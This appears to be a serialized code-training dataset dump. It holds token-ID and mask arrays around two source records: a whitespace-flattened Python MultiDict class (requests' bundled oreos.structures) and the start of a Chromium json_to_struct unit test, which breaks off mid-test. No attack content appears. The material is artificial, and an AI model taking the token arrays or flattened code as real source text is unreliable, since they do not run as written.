32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0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 0, 0 ]
bkahlert/seqan-research
raw/pmbs12/pmsb13-data-20120615/trunk/misc/seqan_instrumentation/py2exe/dist/classes/requests/packages/oreos/structures.py
47
13199
# -*- coding: utf-8 -*- """ oreos.structures ~~~~~~~~~~~~~~~~ The plastic blue packaging. This is mostly directly stolen from mitsuhiko/werkzeug. """ __all__ = ('MultiDict',) class _Missing(object): def __repr__(self): return 'no value' def __reduce__(self): return '_missing' _missing = _Missing() def iter_multi_items(mapping): """Iterates over the items of a mapping yielding keys and values without dropping any from more complex structures. """ if isinstance(mapping, MultiDict): for item in mapping.iteritems(multi=True): yield item elif isinstance(mapping, dict): for key, value in mapping.iteritems(): if isinstance(value, (tuple, list)): for value in value: yield key, value else: yield key, value else: for item in mapping: yield item class TypeConversionDict(dict): """Works like a regular dict but the :meth:`get` method can perform type conversions. :class:`MultiDict` and :class:`CombinedMultiDict` are subclasses of this class and provide the same feature. .. versionadded:: 0.5 """ def get(self, key, default=None, type=None): """Return the default value if the requested data doesn't exist. If `type` is provided and is a callable it should convert the value, return it or raise a :exc:`ValueError` if that is not possible. In this case the function will return the default as if the value was not found: >>> d = TypeConversionDict(foo='42', bar='blub') >>> d.get('foo', type=int) 42 >>> d.get('bar', -1, type=int) -1 :param key: The key to be looked up. :param default: The default value to be returned if the key can't be looked up. If not further specified `None` is returned. :param type: A callable that is used to cast the value in the :class:`MultiDict`. If a :exc:`ValueError` is raised by this callable the default value is returned. """ try: rv = self[key] if type is not None: rv = type(rv) except (KeyError, ValueError): rv = default return rv class MultiDict(TypeConversionDict): """A :class:`MultiDict` is a dictionary subclass customized to deal with multiple values for the same key which is for example used by the parsing functions in the wrappers. This is necessary because some HTML form elements pass multiple values for the same key. :class:`MultiDict` implements all standard dictionary methods. Internally, it saves all values for a key as a list, but the standard dict access methods will only return the first value for a key. If you want to gain access to the other values, too, you have to use the `list` methods as explained below. Basic Usage: >>> d = MultiDict([('a', 'b'), ('a', 'c')]) >>> d MultiDict([('a', 'b'), ('a', 'c')]) >>> d['a'] 'b' >>> d.getlist('a') ['b', 'c'] >>> 'a' in d True It behaves like a normal dict thus all dict functions will only return the first value when multiple values for one key are found. From Werkzeug 0.3 onwards, the `KeyError` raised by this class is also a subclass of the :exc:`~exceptions.BadRequest` HTTP exception and will render a page for a ``400 BAD REQUEST`` if caught in a catch-all for HTTP exceptions. A :class:`MultiDict` can be constructed from an iterable of ``(key, value)`` tuples, a dict, a :class:`MultiDict` or from Werkzeug 0.2 onwards some keyword parameters. :param mapping: the initial value for the :class:`MultiDict`. Either a regular dict, an iterable of ``(key, value)`` tuples or `None`. """ def __init__(self, mapping=None): if isinstance(mapping, MultiDict): dict.__init__(self, ((k, l[:]) for k, l in mapping.iterlists())) elif isinstance(mapping, dict): tmp = {} for key, value in mapping.iteritems(): if isinstance(value, (tuple, list)): value = list(value) else: value = [value] tmp[key] = value dict.__init__(self, tmp) else: tmp = {} for key, value in mapping or (): tmp.setdefault(key, []).append(value) dict.__init__(self, tmp) def __getstate__(self): return dict(self.lists()) def __setstate__(self, value): dict.clear(self) dict.update(self, value) def __iter__(self): return self.iterkeys() def __getitem__(self, key): """Return the first data value for this key; raises KeyError if not found. :param key: The key to be looked up. :raise KeyError: if the key does not exist. """ if key in self: return dict.__getitem__(self, key)[0] raise KeyError(key) def __setitem__(self, key, value): """Like :meth:`add` but removes an existing key first. :param key: the key for the value. :param value: the value to set. """ dict.__setitem__(self, key, [value]) def add(self, key, value): """Adds a new value for the key. .. versionadded:: 0.6 :param key: the key for the value. :param value: the value to add. """ dict.setdefault(self, key, []).append(value) def getlist(self, key, type=None): """Return the list of items for a given key. If that key is not in the `MultiDict`, the return value will be an empty list. Just as `get` `getlist` accepts a `type` parameter. All items will be converted with the callable defined there. :param key: The key to be looked up. :param type: A callable that is used to cast the value in the :class:`MultiDict`. If a :exc:`ValueError` is raised by this callable the value will be removed from the list. :return: a :class:`list` of all the values for the key. """ try: rv = dict.__getitem__(self, key) except KeyError: return [] if type is None: return list(rv) result = [] for item in rv: try: result.append(type(item)) except ValueError: pass return result def setlist(self, key, new_list): """Remove the old values for a key and add new ones. Note that the list you pass the values in will be shallow-copied before it is inserted in the dictionary. >>> d = MultiDict() >>> d.setlist('foo', ['1', '2']) >>> d['foo'] '1' >>> d.getlist('foo') ['1', '2'] :param key: The key for which the values are set. :param new_list: An iterable with the new values for the key. Old values are removed first. """ dict.__setitem__(self, key, list(new_list)) def setdefault(self, key, default=None): """Returns the value for the key if it is in the dict, otherwise it returns `default` and sets that value for `key`. :param key: The key to be looked up. :param default: The default value to be returned if the key is not in the dict. If not further specified it's `None`. """ if key not in self: self[key] = default else: default = self[key] return default def setlistdefault(self, key, default_list=None): """Like `setdefault` but sets multiple values. The list returned is not a copy, but the list that is actually used internally. This means that you can put new values into the dict by appending items to the list: >>> d = MultiDict({"foo": 1}) >>> d.setlistdefault("foo").extend([2, 3]) >>> d.getlist("foo") [1, 2, 3] :param key: The key to be looked up. :param default: An iterable of default values. It is either copied (in case it was a list) or converted into a list before returned. :return: a :class:`list` """ if key not in self: default_list = list(default_list or ()) dict.__setitem__(self, key, default_list) else: default_list = dict.__getitem__(self, key) return default_list def items(self, multi=False): """Return a list of ``(key, value)`` pairs. :param multi: If set to `True` the list returned will have a pair for each value of each key. Otherwise it will only contain pairs for the first value of each key. :return: a :class:`list` """ return list(self.iteritems(multi)) def lists(self): """Return a list of ``(key, values)`` pairs, where values is the list of all values associated with the key. :return: a :class:`list` """ return list(self.iterlists()) def values(self): """Returns a list of the first value on every key's value list. :return: a :class:`list`. """ return [self[key] for key in self.iterkeys()] def listvalues(self): """Return a list of all values associated with a key. Zipping :meth:`keys` and this is the same as calling :meth:`lists`: >>> d = MultiDict({"foo": [1, 2, 3]}) >>> zip(d.keys(), d.listvalues()) == d.lists() True :return: a :class:`list` """ return list(self.iterlistvalues()) def iteritems(self, multi=False): """Like :meth:`items` but returns an iterator.""" for key, values in dict.iteritems(self): if multi: for value in values: yield key, value else: yield key, values[0] def iterlists(self): """Like :meth:`items` but returns an iterator.""" for key, values in dict.iteritems(self): yield key, list(values) def itervalues(self): """Like :meth:`values` but returns an iterator.""" for values in dict.itervalues(self): yield values[0] def iterlistvalues(self): """Like :meth:`listvalues` but returns an iterator.""" return dict.itervalues(self) def copy(self): """Return a shallow copy of this object.""" return self.__class__(self) def to_dict(self, flat=True): """Return the contents as regular dict. If `flat` is `True` the returned dict will only have the first item present, if `flat` is `False` all values will be returned as lists. :param flat: If set to `False` the dict returned will have lists with all the values in it. Otherwise it will only contain the first value for each key. :return: a :class:`dict` """ if flat: return dict(self.iteritems()) return dict(self.lists()) def update(self, other_dict): """update() extends rather than replaces existing key lists.""" for key, value in iter_multi_items(other_dict): MultiDict.add(self, key, value) def pop(self, key, default=_missing): """Pop the first item for a list on the dict. Afterwards the key is removed from the dict, so additional values are discarded: >>> d = MultiDict({"foo": [1, 2, 3]}) >>> d.pop("foo") 1 >>> "foo" in d False :param key: the key to pop. :param default: if provided the value to return if the key was not in the dictionary. """ try: return dict.pop(self, key)[0] except KeyError as e: if default is not _missing: return default raise KeyError(str(e)) def popitem(self): """Pop an item from the dict.""" try: item = dict.popitem(self) return (item[0], item[1][0]) except KeyError as e: raise KeyError(str(e)) def poplist(self, key): """Pop the list for a key from the dict. If the key is not in the dict an empty list is returned. .. versionchanged:: 0.5 If the key does no longer exist a list is returned instead of raising an error. """ return dict.pop(self, key, []) def popitemlist(self): """Pop a ``(key, list)`` tuple from the dict.""" try: return dict.popitem(self) except KeyError as e: raise KeyError(str(e)) def __copy__(self): return self.copy() def __repr__(self): return '%s(%r)' % (self.__class__.__name__, self.items(multi=True))
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 720, 736, 14, 13547, 199, 9753, 199, 199, 1918, 299, 11753, 10030, 27369, 14, 199, 199, 2765, 365, 19762, 5370, 26123, 552, 687, 333, 1405, 22451, 16625, 15, 17719, 14, 199, 624, 199, 199, 363, 452, 363, 275, 661, 21365, 9538, 199, 199, 533, 485, 7718, 8, 785, 304, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 283, 889, 574, 7, 339, 347, 636, 5270, 721, 277, 304, 267, 372, 2513, 4752, 7, 199, 199, 63, 4752, 275, 485, 7718, 342, 4388, 199, 318, 2740, 63, 3029, 63, 1744, 8, 4745, 304, 272, 408, 3315, 2335, 1806, 314, 2974, 402, 282, 4412, 32035, 2883, 436, 1338, 272, 1928, 366, 20148, 1263, 687, 1655, 6114, 13955, 14, 272, 408, 272, 340, 1228, 8, 4745, 12, 29393, 304, 267, 367, 1242, 315, 4412, 14, 4611, 8, 3029, 29, 549, 304, 288, 1995, 1242, 272, 916, 1228, 8, 4745, 12, 1211, 304, 267, 367, 790, 12, 574, 315, 4412, 14, 4611, 837, 288, 340, 1228, 8, 585, 12, 334, 2960, 12, 769, 2298, 355, 367, 574, 315, 574, 26, 490, 1995, 790, 12, 574, 288, 587, 26, 355, 1995, 790, 12, 574, 272, 587, 26, 267, 367, 1242, 315, 4412, 26, 288, 1995, 1242, 4388, 199, 533, 2434, 20403, 2141, 8, 807, 304, 272, 408, 25348, 2839, 282, 5578, 1211, 1325, 314, 520, 5247, 1705, 362, 64, 1083, 883, 5147, 272, 730, 24796, 14, 221, 520, 533, 1705, 21365, 64, 436, 520, 533, 1705, 26444, 21365, 64, 272, 787, 9180, 402, 642, 1021, 436, 5647, 314, 2011, 3878, 14, 339, 2508, 7445, 447, 378, 14, 21, 272, 408, 339, 347, 664, 8, 277, 12, 790, 12, 849, 29, 403, 12, 730, 29, 403, 304, 267, 408, 1767, 314, 849, 574, 340, 314, 5839, 666, 3181, 1133, 2187, 14, 267, 982, 658, 466, 64, 365, 2741, 436, 365, 282, 4550, 652, 1077, 3957, 314, 574, 12, 267, 372, 652, 503, 746, 282, 520, 2804, 1705, 3393, 64, 340, 626, 365, 440, 3962, 14, 221, 1010, 267, 642, 1930, 314, 805, 911, 372, 314, 849, 465, 340, 314, 574, 1990, 440, 267, 1911, 26, 398, 1306, 366, 275, 2434, 20403, 2141, 8, 1421, 534, 2260, 297, 4681, 534, 3345, 456, 358, 267, 1306, 366, 14, 362, 360, 1421, 297, 730, 29, 442, 9, 267, 5685, 267, 1306, 366, 14, 362, 360, 1700, 297, 446, 17, 12, 730, 29, 442, 9, 267, 446, 17, 398, 520, 635, 790, 26, 710, 790, 370, 506, 21182, 1536, 14, 267, 520, 635, 849, 26, 710, 849, 574, 370, 506, 2138, 340, 314, 790, 883, 1133, 717, 506, 21182, 1536, 14, 221, 982, 440, 9848, 2013, 658, 403, 64, 365, 717, 2138, 14, 267, 520, 635, 730, 26, 437, 4550, 626, 365, 1202, 370, 9106, 314, 574, 315, 314, 2151, 520, 533, 1705, 21365, 2313, 221, 982, 282, 520, 2804, 1705, 3393, 64, 365, 4915, 2151, 701, 642, 4550, 314, 849, 574, 365, 2138, 14, 267, 408, 267, 862, 26, 288, 4336, 275, 291, 59, 498, 61, 288, 340, 730, 365, 440, 488, 26, 355, 4336, 275, 730, 8, 6310, 9, 267, 871, 334, 10230, 12, 1722, 304, 288, 4336, 275, 849, 267, 372, 4336, 421, 199, 533, 29393, 8, 804, 20403, 2141, 304, 272, 408, 33, 520, 533, 1705, 21365, 64, 365, 282, 2600, 5516, 26707, 370, 7962, 543, 272, 3663, 1338, 367, 314, 2011, 790, 1314, 365, 367, 2893, 1202, 701, 314, 6057, 272, 3423, 315, 314, 17995, 14, 221, 961, 365, 5784, 2952, 2005, 4163, 1824, 272, 4008, 986, 3663, 1338, 367, 314, 2011, 790, 14, 339, 520, 533, 1705, 21365, 64, 9031, 1006, 4465, 2600, 3102, 14, 272, 1010, 1203, 1183, 12, 652, 23050, 1006, 1338, 367, 282, 790, 465, 282, 769, 12, 1325, 314, 4465, 1211, 272, 2879, 3102, 911, 1454, 372, 314, 1642, 574, 367, 282, 790, 14, 982, 1265, 2934, 370, 272, 15334, 2879, 370, 314, 1163, 1338, 12, 4634, 12, 1265, 1172, 370, 675, 314, 658, 513, 64, 3102, 465, 272, 1437, 23918, 5084, 14, 339, 10082, 11028, 26, 339, 1306, 366, 275, 29393, 8318, 65, 297, 283, 66, 659, 661, 65, 297, 283, 67, 2023, 272, 1306, 366, 272, 29393, 8318, 65, 297, 283, 66, 659, 661, 65, 297, 283, 67, 2023, 272, 1306, 366, 459, 65, 418, 272, 283, 66, 7, 272, 1306, 366, 14, 21343, 360, 65, 358, 272, 788, 66, 297, 283, 67, 418, 272, 1306, 283, 65, 7, 315, 366, 272, 715, 339, 2779, 25113, 2839, 282, 3293, 1211, 12850, 1006, 1211, 3423, 911, 1454, 372, 314, 272, 1642, 574, 1380, 3663, 1338, 367, 1373, 790, 787, 1911, 14, 339, 11606, 22798, 378, 14, 19, 641, 4751, 12, 314, 658, 10230, 64, 4915, 701, 642, 1021, 365, 2597, 282, 272, 5516, 402, 314, 520, 2804, 6054, 3924, 14, 12380, 64, 3101, 1919, 436, 911, 272, 3795, 282, 2034, 367, 282, 1124, 5303, 699, 1554, 31325, 1040, 340, 15604, 315, 282, 8579, 13, 452, 367, 3101, 272, 4967, 14, 339, 437, 520, 533, 1705, 21365, 64, 883, 506, 14701, 687, 376, 6076, 402, 272, 15475, 498, 12, 574, 9719, 6346, 12, 282, 1211, 12, 282, 520, 533, 1705, 21365, 64, 503, 687, 22798, 378, 14, 18, 272, 641, 4751, 2005, 4252, 2633, 14, 339, 520, 635, 4412, 26, 314, 2536, 574, 367, 314, 520, 533, 1705, 21365, 2313, 221, 13083, 282, 490, 5578, 1211, 12, 376, 6076, 402, 15475, 498, 12, 574, 9719, 6346, 490, 503, 658, 403, 2313, 272, 408, 339, 347, 636, 826, 721, 277, 12, 4412, 29, 403, 304, 267, 340, 1228, 8, 4745, 12, 29393, 304, 288, 1211, 855, 826, 721, 277, 12, 3666, 75, 12, 634, 1491, 566, 367, 1022, 12, 634, 315, 4412, 14, 1661, 6717, 4059, 267, 916, 1228, 8, 4745, 12, 1211, 304, 288, 3529, 275, 1052, 288, 367, 790, 12, 574, 315, 4412, 14, 4611, 837, 355, 340, 1228, 8, 585, 12, 334, 2960, 12, 769, 2298, 490, 574, 275, 769, 8, 585, 9, 355, 587, 26, 490, 574, 275, 359, 585, 61, 355, 3529, 59, 498, 61, 275, 574, 288, 1211, 855, 826, 721, 277, 12, 3529, 9, 267 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 624, 199, 720, 736, 14, 13547, 199, 9753, 199, 199, 1918, 299, 11753, 10030, 27369, 14, 199, 199, 2765, 365, 19762, 5370, 26123, 552, 687, 333, 1405, 22451, 16625, 15, 17719, 14, 199, 624, 199, 199, 363, 452, 363, 275, 661, 21365, 9538, 199, 199, 533, 485, 7718, 8, 785, 304, 339, 347, 636, 2722, 721, 277, 304, 267, 372, 283, 889, 574, 7, 339, 347, 636, 5270, 721, 277, 304, 267, 372, 2513, 4752, 7, 199, 199, 63, 4752, 275, 485, 7718, 342, 4388, 199, 318, 2740, 63, 3029, 63, 1744, 8, 4745, 304, 272, 408, 3315, 2335, 1806, 314, 2974, 402, 282, 4412, 32035, 2883, 436, 1338, 272, 1928, 366, 20148, 1263, 687, 1655, 6114, 13955, 14, 272, 408, 272, 340, 1228, 8, 4745, 12, 29393, 304, 267, 367, 1242, 315, 4412, 14, 4611, 8, 3029, 29, 549, 304, 288, 1995, 1242, 272, 916, 1228, 8, 4745, 12, 1211, 304, 267, 367, 790, 12, 574, 315, 4412, 14, 4611, 837, 288, 340, 1228, 8, 585, 12, 334, 2960, 12, 769, 2298, 355, 367, 574, 315, 574, 26, 490, 1995, 790, 12, 574, 288, 587, 26, 355, 1995, 790, 12, 574, 272, 587, 26, 267, 367, 1242, 315, 4412, 26, 288, 1995, 1242, 4388, 199, 533, 2434, 20403, 2141, 8, 807, 304, 272, 408, 25348, 2839, 282, 5578, 1211, 1325, 314, 520, 5247, 1705, 362, 64, 1083, 883, 5147, 272, 730, 24796, 14, 221, 520, 533, 1705, 21365, 64, 436, 520, 533, 1705, 26444, 21365, 64, 272, 787, 9180, 402, 642, 1021, 436, 5647, 314, 2011, 3878, 14, 339, 2508, 7445, 447, 378, 14, 21, 272, 408, 339, 347, 664, 8, 277, 12, 790, 12, 849, 29, 403, 12, 730, 29, 403, 304, 267, 408, 1767, 314, 849, 574, 340, 314, 5839, 666, 3181, 1133, 2187, 14, 267, 982, 658, 466, 64, 365, 2741, 436, 365, 282, 4550, 652, 1077, 3957, 314, 574, 12, 267, 372, 652, 503, 746, 282, 520, 2804, 1705, 3393, 64, 340, 626, 365, 440, 3962, 14, 221, 1010, 267, 642, 1930, 314, 805, 911, 372, 314, 849, 465, 340, 314, 574, 1990, 440, 267, 1911, 26, 398, 1306, 366, 275, 2434, 20403, 2141, 8, 1421, 534, 2260, 297, 4681, 534, 3345, 456, 358, 267, 1306, 366, 14, 362, 360, 1421, 297, 730, 29, 442, 9, 267, 5685, 267, 1306, 366, 14, 362, 360, 1700, 297, 446, 17, 12, 730, 29, 442, 9, 267, 446, 17, 398, 520, 635, 790, 26, 710, 790, 370, 506, 21182, 1536, 14, 267, 520, 635, 849, 26, 710, 849, 574, 370, 506, 2138, 340, 314, 790, 883, 1133, 717, 506, 21182, 1536, 14, 221, 982, 440, 9848, 2013, 658, 403, 64, 365, 717, 2138, 14, 267, 520, 635, 730, 26, 437, 4550, 626, 365, 1202, 370, 9106, 314, 574, 315, 314, 2151, 520, 533, 1705, 21365, 2313, 221, 982, 282, 520, 2804, 1705, 3393, 64, 365, 4915, 2151, 701, 642, 4550, 314, 849, 574, 365, 2138, 14, 267, 408, 267, 862, 26, 288, 4336, 275, 291, 59, 498, 61, 288, 340, 730, 365, 440, 488, 26, 355, 4336, 275, 730, 8, 6310, 9, 267, 871, 334, 10230, 12, 1722, 304, 288, 4336, 275, 849, 267, 372, 4336, 421, 199, 533, 29393, 8, 804, 20403, 2141, 304, 272, 408, 33, 520, 533, 1705, 21365, 64, 365, 282, 2600, 5516, 26707, 370, 7962, 543, 272, 3663, 1338, 367, 314, 2011, 790, 1314, 365, 367, 2893, 1202, 701, 314, 6057, 272, 3423, 315, 314, 17995, 14, 221, 961, 365, 5784, 2952, 2005, 4163, 1824, 272, 4008, 986, 3663, 1338, 367, 314, 2011, 790, 14, 339, 520, 533, 1705, 21365, 64, 9031, 1006, 4465, 2600, 3102, 14, 272, 1010, 1203, 1183, 12, 652, 23050, 1006, 1338, 367, 282, 790, 465, 282, 769, 12, 1325, 314, 4465, 1211, 272, 2879, 3102, 911, 1454, 372, 314, 1642, 574, 367, 282, 790, 14, 982, 1265, 2934, 370, 272, 15334, 2879, 370, 314, 1163, 1338, 12, 4634, 12, 1265, 1172, 370, 675, 314, 658, 513, 64, 3102, 465, 272, 1437, 23918, 5084, 14, 339, 10082, 11028, 26, 339, 1306, 366, 275, 29393, 8318, 65, 297, 283, 66, 659, 661, 65, 297, 283, 67, 2023, 272, 1306, 366, 272, 29393, 8318, 65, 297, 283, 66, 659, 661, 65, 297, 283, 67, 2023, 272, 1306, 366, 459, 65, 418, 272, 283, 66, 7, 272, 1306, 366, 14, 21343, 360, 65, 358, 272, 788, 66, 297, 283, 67, 418, 272, 1306, 283, 65, 7, 315, 366, 272, 715, 339, 2779, 25113, 2839, 282, 3293, 1211, 12850, 1006, 1211, 3423, 911, 1454, 372, 314, 272, 1642, 574, 1380, 3663, 1338, 367, 1373, 790, 787, 1911, 14, 339, 11606, 22798, 378, 14, 19, 641, 4751, 12, 314, 658, 10230, 64, 4915, 701, 642, 1021, 365, 2597, 282, 272, 5516, 402, 314, 520, 2804, 6054, 3924, 14, 12380, 64, 3101, 1919, 436, 911, 272, 3795, 282, 2034, 367, 282, 1124, 5303, 699, 1554, 31325, 1040, 340, 15604, 315, 282, 8579, 13, 452, 367, 3101, 272, 4967, 14, 339, 437, 520, 533, 1705, 21365, 64, 883, 506, 14701, 687, 376, 6076, 402, 272, 15475, 498, 12, 574, 9719, 6346, 12, 282, 1211, 12, 282, 520, 533, 1705, 21365, 64, 503, 687, 22798, 378, 14, 18, 272, 641, 4751, 2005, 4252, 2633, 14, 339, 520, 635, 4412, 26, 314, 2536, 574, 367, 314, 520, 533, 1705, 21365, 2313, 221, 13083, 282, 490, 5578, 1211, 12, 376, 6076, 402, 15475, 498, 12, 574, 9719, 6346, 490, 503, 658, 403, 2313, 272, 408, 339, 347, 636, 826, 721, 277, 12, 4412, 29, 403, 304, 267, 340, 1228, 8, 4745, 12, 29393, 304, 288, 1211, 855, 826, 721, 277, 12, 3666, 75, 12, 634, 1491, 566, 367, 1022, 12, 634, 315, 4412, 14, 1661, 6717, 4059, 267, 916, 1228, 8, 4745, 12, 1211, 304, 288, 3529, 275, 1052, 288, 367, 790, 12, 574, 315, 4412, 14, 4611, 837, 355, 340, 1228, 8, 585, 12, 334, 2960, 12, 769, 2298, 490, 574, 275, 769, 8, 585, 9, 355, 587, 26, 490, 574, 275, 359, 585, 61, 355, 3529, 59, 498, 61, 275, 574, 288, 1211, 855, 826, 721, 277, 12, 3529, 9, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
axinging/chromium-crosswalk
tools/json_to_struct/element_generator_test.py
38
8079
#!/usr/bin/env python # Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from element_generator import GenerateFieldContent from element_generator import GenerateElements import unittest class ElementGeneratorTest(unittest.TestCase): def testGenerateIntFieldContent(self): lines = []; GenerateFieldContent('', {'type': 'int', 'default': 5}, None, lines, ' ', {}) self.assertEquals([' 5,'], lines) lines = []; GenerateFieldContent('', {'type': 'int', 'default': 5}, 12, lines, ' ', {}) self.assertEquals([' 12,'], lines) lines = []; GenerateFieldContent('', {'type': 'int'}, -3, lines, ' ', {}) self.assertEquals([' -3,'], lines) def testGenerateStringFieldContent(self): lines = []; GenerateFieldContent('', {'type': 'string', 'default': 'foo_bar'}, None, lines, ' ', {}) self.assertEquals([' "foo_bar",'], lines) lines = []; GenerateFieldContent('', {'type': 'string', 'default': 'foo'}, 'bar\n', lines, ' ', {}) self.assertEquals([' "bar\\n",'], lines) lines = []; GenerateFieldContent('', {'type': 'string'}, None, lines, ' ', {}) self.assertEquals([' NULL,'], lines) lines = []; GenerateFieldContent('', {'type': 'string'}, 'foo', lines, ' ', {}) self.assertEquals([' "foo",'], lines) def testGenerateString16FieldContent(self): lines = []; GenerateFieldContent('', {'type': 'string16', 'default': u'f\u00d8\u00d81a'}, None, lines, ' ', {}) self.assertEquals([' L"f\\x00d8" L"\\x00d8" L"1a",'], lines) lines = []; GenerateFieldContent('', {'type': 'string16', 'default': 'foo'}, u'b\uc3a5r', lines, ' ', {}) self.assertEquals([' L"b\\xc3a5" L"r",'], lines) lines = []; GenerateFieldContent('', {'type': 'string16'}, None, lines, ' ', {}) self.assertEquals([' NULL,'], lines) lines = []; GenerateFieldContent('', {'type': 'string16'}, u'foo\\u1234', lines, ' ', {}) self.assertEquals([' L"foo\\\\u1234",'], lines) def testGenerateEnumFieldContent(self): lines = []; GenerateFieldContent('', {'type': 'enum', 'default': 'RED'}, None, lines, ' ', {}) self.assertEquals([' RED,'], lines) lines = []; GenerateFieldContent('', {'type': 'enum', 'default': 'RED'}, 'BLACK', lines, ' ', {}) self.assertEquals([' BLACK,'], lines) lines = []; GenerateFieldContent('', {'type': 'enum'}, 'BLUE', lines, ' ', {}) self.assertEquals([' BLUE,'], lines) def testGenerateArrayFieldContent(self): lines = ['STRUCT BEGINS']; GenerateFieldContent('test', {'type': 'array', 'contents': {'type': 'int'}}, None, lines, ' ', {}) self.assertEquals(['STRUCT BEGINS', ' NULL,', ' 0,'], lines) lines = ['STRUCT BEGINS']; GenerateFieldContent('test', {'field': 'my_array', 'type': 'array', 'contents': {'type': 'int'}}, 